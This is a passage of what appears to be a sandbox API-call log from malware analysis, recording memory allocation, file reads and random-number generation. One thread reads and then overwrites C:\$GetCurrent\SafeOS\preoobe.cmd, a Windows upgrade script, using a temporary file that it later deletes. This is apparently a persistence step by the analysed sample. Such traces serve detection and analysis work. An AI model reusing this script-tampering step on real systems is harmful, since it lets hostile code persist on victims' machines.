	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0043ff000
	[0269.908] VirtualAlloc (lpAddress=0xc004400000, dwSize=0x2b22000, flAllocationType=0x1000, flProtect=0x4) returned 0xc004400000
	[0270.127] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fef48, ulCount=0x10, ulNumEntriesRemoved=0x70707fef20, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70707fef48, ulNumEntriesRemoved=0x70707fef20) returned 0
	[0270.127] SetEvent (hEvent=0x17c) returned 1
	[0270.127] ReadFile (in: hFile=0x1b4, lpBuffer=0xc003b18000, nNumberOfBytesToRead=0x340885b, lpNumberOfBytesRead=0xc00020fb04, lpOverlapped=0x0 | out: lpBuffer=0xc003b18000*, lpNumberOfBytesRead=0xc00020fb04*=0x340865b, lpOverlapped=0x0) returned 1
	[0275.711] SetEvent (hEvent=0x124) returned 1
	[0275.711] ReadFile (in: hFile=0x1b4, lpBuffer=0xc006f2065b, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00020fb04, lpOverlapped=0x0 | out: lpBuffer=0xc006f2065b*, lpNumberOfBytesRead=0xc00020fb04*=0x0, lpOverlapped=0x0) returned 1
	[0275.711] CloseHandle (hObject=0x1b4) returned 1
	[0275.712] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e400 | out: pbBuffer=0xc00000e400) returned 1
	[0275.712] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000094490 | out: pbBuffer=0xc000094490) returned 1
	[0275.712] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082401 | out: pbBuffer=0xc000082401) returned 1
	[0275.911] VirtualAlloc (lpAddress=0xc007c00000, dwSize=0x3800000, flAllocationType=0x2000, flProtect=0x4) returned 0xc007c00000
	[0275.934] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec2d0000
	[0275.935] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec300000
	[0275.935] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec330000
	[0275.935] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec360000
	[0275.936] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec390000
	[0275.936] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec3c0000
	[0275.936] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec3f0000
	[0275.936] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec420000
	[0275.936] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec450000
	[0275.937] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec480000
	[0275.937] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec4b0000
	[0275.937] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec4e0000
	[0275.937] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec510000
	[0275.938] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec540000
	[0275.942] VirtualAlloc (lpAddress=0xc006f22000, dwSize=0x340a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.942] VirtualAlloc (lpAddress=0xc006f22000, dwSize=0x340a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.942] VirtualAlloc (lpAddress=0xc006f22000, dwSize=0x1a05000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.942] VirtualAlloc (lpAddress=0xc006f22000, dwSize=0xd02000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.942] VirtualAlloc (lpAddress=0xc006f22000, dwSize=0x681000, flAllocationType=0x1000, flProtect=0x4) returned 0xc006f22000
	[0275.975] VirtualAlloc (lpAddress=0xc0075a3000, dwSize=0x2d89000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.975] VirtualAlloc (lpAddress=0xc0075a3000, dwSize=0x16c4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.975] VirtualAlloc (lpAddress=0xc0075a3000, dwSize=0xb62000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.975] VirtualAlloc (lpAddress=0xc0075a3000, dwSize=0x5b1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0075a3000
	[0275.994] VirtualAlloc (lpAddress=0xc007b54000, dwSize=0x27d8000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.994] VirtualAlloc (lpAddress=0xc007b54000, dwSize=0x13ec000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.994] VirtualAlloc (lpAddress=0xc007b54000, dwSize=0x9f6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.995] VirtualAlloc (lpAddress=0xc007b54000, dwSize=0x4fb000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.995] VirtualAlloc (lpAddress=0xc007b54000, dwSize=0x27d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.995] VirtualAlloc (lpAddress=0xc007b54000, dwSize=0x13e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0275.995] VirtualAlloc (lpAddress=0xc007b54000, dwSize=0x9f000, flAllocationType=0x1000, flProtect=0x4) returned 0xc007b54000
	[0276.001] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x2739000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.001] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x139c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.001] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x9ce000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.001] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x4e7000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.001] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x273000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.001] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x139000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.002] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x9c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.002] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x4e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.002] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x27000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.002] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x13000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.002] VirtualAlloc (lpAddress=0xc007bf3000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0xc007bf3000
	[0276.002] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x2730000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.002] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x1398000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.002] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x9cc000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.002] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x4e6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.003] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x273000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.003] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x139000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.003] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x9c000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.003] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x4e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.003] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x27000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.003] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x13000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.003] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0276.003] VirtualAlloc (lpAddress=0xc007bfc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc007bfc000
	[0276.003] VirtualAlloc (lpAddress=0xc007c00000, dwSize=0x272c000, flAllocationType=0x1000, flProtect=0x4) returned 0xc007c00000
	[0276.211] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fef48, ulCount=0x10, ulNumEntriesRemoved=0x70707fef20, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70707fef48, ulNumEntriesRemoved=0x70707fef20) returned 0
	[0276.211] SetEvent (hEvent=0xf0) returned 1
	[0276.974] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0277.012] SetEvent (hEvent=0x1a0) returned 1
	[0277.012] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70707ff6b8*=0xfc, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0277.047] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0277.047] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fef50, ulCount=0x10, ulNumEntriesRemoved=0x70707fef28, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70707fef50, ulNumEntriesRemoved=0x70707fef28) returned 0
	[0277.048] SetEvent (hEvent=0x1a0) returned 1
	[0277.048] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70707ff6c8*=0xfc, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0277.247] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0277.292] VirtualFree (lpAddress=0xc006f20000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0277.293] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0xc9, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0277.591] SetEvent (hEvent=0x1a0) returned 1
	[0277.591] SetEvent (hEvent=0xd4) returned 1
	[0277.591] VirtualFree (lpAddress=0xc006f1e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0277.593] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0xc7, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0277.814] SetEvent (hEvent=0x1a0) returned 1
	[0277.814] SetEvent (hEvent=0x190) returned 1
	[0277.814] VirtualFree (lpAddress=0xc006f1c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0277.815] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x8a, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0277.961] SetEvent (hEvent=0x190) returned 1
	[0277.961] SetEvent (hEvent=0x1a0) returned 1
	[0277.961] VirtualFree (lpAddress=0xc006f1a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0277.962] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x7d, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.099] SetEvent (hEvent=0x190) returned 1
	[0278.099] VirtualFree (lpAddress=0xc006f18000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.099] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.103] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.112] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.122] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x24, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.163] SetEvent (hEvent=0xd4) returned 1
	[0278.163] SetEvent (hEvent=0x1a0) returned 1
	[0278.163] VirtualFree (lpAddress=0xc006f10000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.164] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x9a, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.321] SetEvent (hEvent=0xd4) returned 1
	[0278.321] SetEvent (hEvent=0x190) returned 1
	[0278.321] VirtualFree (lpAddress=0xc006f0e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.322] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x58, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.523] SetEvent (hEvent=0xd4) returned 1
	[0278.523] SetEvent (hEvent=0x1a0) returned 1
	[0278.523] VirtualFree (lpAddress=0xc006f0c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.524] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x4f, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.781] SetEvent (hEvent=0xd4) returned 1
	[0278.781] SetEvent (hEvent=0x190) returned 1
	[0278.781] VirtualFree (lpAddress=0xc006f0a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.781] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.801] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x46, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.904] SetEvent (hEvent=0x190) returned 1
	[0278.904] SetEvent (hEvent=0xd4) returned 1
	[0278.904] VirtualFree (lpAddress=0xc006f06000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.904] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0278.942] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x5a, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0279.068] SetEvent (hEvent=0x190) returned 1
	[0279.068] VirtualFree (lpAddress=0xc006f02000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0279.069] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x5d, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0279.167] SetEvent (hEvent=0xd4) returned 1
	[0279.167] SetEvent (hEvent=0x17c) returned 1
	[0279.167] VirtualFree (lpAddress=0xc006f00000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0279.167] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70707fee50, ulCount=0x10, ulNumEntriesRemoved=0x70707fee28, dwMilliseconds=0x79, fAlertable=0 | out: lpCompletionPortEntries=0x70707fee50, ulNumEntriesRemoved=0x70707fee28) returned 0
	[0279.338] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0279.528] SetEvent (hEvent=0x1a0) returned 1
	[0279.528] SetEvent (hEvent=0xe4) returned 1
	[0279.528] VirtualFree (lpAddress=0xc006efc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0279.529] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0281.028] SetEvent (hEvent=0x190) returned 1
	[0281.028] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0281.155] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
	[0281.553] SetEvent (hEvent=0x1a0) returned 1
	[0281.554] VirtualFree (lpAddress=0xc006ee6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0281.554] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) 

Thread:
	id = 96
	os_tid = 0x660

	[0235.666] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70709ffb70, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70709ffb70*=0x13c) returned 1
	[0235.666] VirtualQuery (in: lpAddress=0x70709ffb90, lpBuffer=0x70709ffb90, dwLength=0x30 | out: lpBuffer=0x70709ffb90*(BaseAddress=0x70709ff000, AllocationBase=0x7070800000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0235.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1149bc0, lpParameter=0xc00002d000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174
	[0235.667] CloseHandle (hObject=0x174) returned 1
	[0235.668] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc000033d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000033d94, lpOverlapped=0x0) returned 0
	[0235.668] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x82, lpNumberOfBytesWritten=0xc000033d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000033d94, lpOverlapped=0x0) returned 0
	[0235.668] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x174
	[0235.668] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc000033bf4 | out: lpMode=0xc000033bf4) returned 0
	[0235.668] GetFileType (hFile=0x174) returned 0x1
	[0235.668] GetFileType (hFile=0x174) returned 0x1
	[0235.668] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0xc000033c44 | out: lpFileInformation=0xc000033c44) returned 1
	[0235.668] GetFileInformationByHandleEx (in: hFile=0x174, FileInformationClass=0x9, lpFileInformation=0xc000033c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000033c28) returned 1
	[0235.669] ReadFile (in: hFile=0x174, lpBuffer=0xc00019e700, nNumberOfBytesToRead=0x34a, lpNumberOfBytesRead=0xc000033b04, lpOverlapped=0x0 | out: lpBuffer=0xc00019e700*, lpNumberOfBytesRead=0xc000033b04*=0x14a, lpOverlapped=0x0) returned 1
	[0235.676] ReadFile (in: hFile=0x174, lpBuffer=0xc00019e84a, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000033b04, lpOverlapped=0x0 | out: lpBuffer=0xc00019e84a*, lpNumberOfBytesRead=0xc000033b04*=0x0, lpOverlapped=0x0) returned 1
	[0235.676] CloseHandle (hObject=0x174) returned 1
	[0235.676] VirtualAlloc (lpAddress=0xc0001a2000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a2000
	[0235.679] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000ef60 | out: pbBuffer=0xc00000ef60) returned 1
	[0235.679] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010650 | out: pbBuffer=0xc000010650) returned 1
	[0235.679] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000901 | out: pbBuffer=0xc000000901) returned 1
	[0235.679] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0
	[0235.870] GetConsoleMode (in: hConsoleHandle=0x1a0, lpMode=0xc0001a9c04 | out: lpMode=0xc0001a9c04) returned 0
	[0235.870] GetFileType (hFile=0x1a0) returned 0x1
	[0235.870] WriteFile (in: hFile=0x1a0, lpBuffer=0xc000044780*, nNumberOfBytesToWrite=0x24a, lpNumberOfBytesWritten=0xc0001a9bec, lpOverlapped=0x0 | out: lpBuffer=0xc000044780*, lpNumberOfBytesWritten=0xc0001a9bec*=0x24a, lpOverlapped=0x0) returned 1
	[0235.872] CloseHandle (hObject=0x1a0) returned 1
	[0235.875] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0
	[0235.876] GetConsoleMode (in: hConsoleHandle=0x1a0, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0235.876] GetFileType (hFile=0x1a0) returned 0x1
	[0235.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a4
	[0235.877] GetConsoleMode (in: hConsoleHandle=0x1a4, lpMode=0xc0001a9d74 | out: lpMode=0xc0001a9d74) returned 0
	[0235.877] GetFileType (hFile=0x1a4) returned 0x1
	[0235.877] VirtualAlloc (lpAddress=0xc000122000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000122000
	[0235.879] ReadFile (in: hFile=0x1a4, lpBuffer=0xc000122000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000122000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x24a, lpOverlapped=0x0) returned 1
	[0235.879] WriteFile (in: hFile=0x1a0, lpBuffer=0xc000122000*, nNumberOfBytesToWrite=0x24a, lpNumberOfBytesWritten=0xc0001a9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000122000*, lpNumberOfBytesWritten=0xc0001a9b74*=0x24a, lpOverlapped=0x0) returned 1
	[0235.880] ReadFile (in: hFile=0x1a4, lpBuffer=0xc000122000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000122000*, lpNumberOfBytesRead=0xc0001a9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0235.880] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98")) returned 0
	[0235.881] GetProcAddress (hModule=0x7fff4f780000, lpProcName="RemoveDirectoryW") returned 0x7fff4f7a24c0
	[0235.881] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98")) returned 0
	[0235.881] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetFileAttributesW") returned 0x7fff4f7a2300
	[0235.881] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98")) returned 0x20
	[0235.881] CloseHandle (hObject=0x1a4) returned 1
	[0235.882] CloseHandle (hObject=0x1a0) returned 1
	[0235.882] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f78d6fe981956176b1bea0782ba39f98" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f78d6fe981956176b1bea0782ba39f98")) returned 1
	[0235.884] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1a0
	[0235.884] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1a4
	[0235.884] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0236.066] VirtualAlloc (lpAddress=0xc0002a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a6000
	[0236.066] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a4000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
	[0236.067] VirtualAlloc (lpAddress=0xc0002a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a8000
	[0236.067] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00019dd94, lpOverlapped=0x0) returned 0
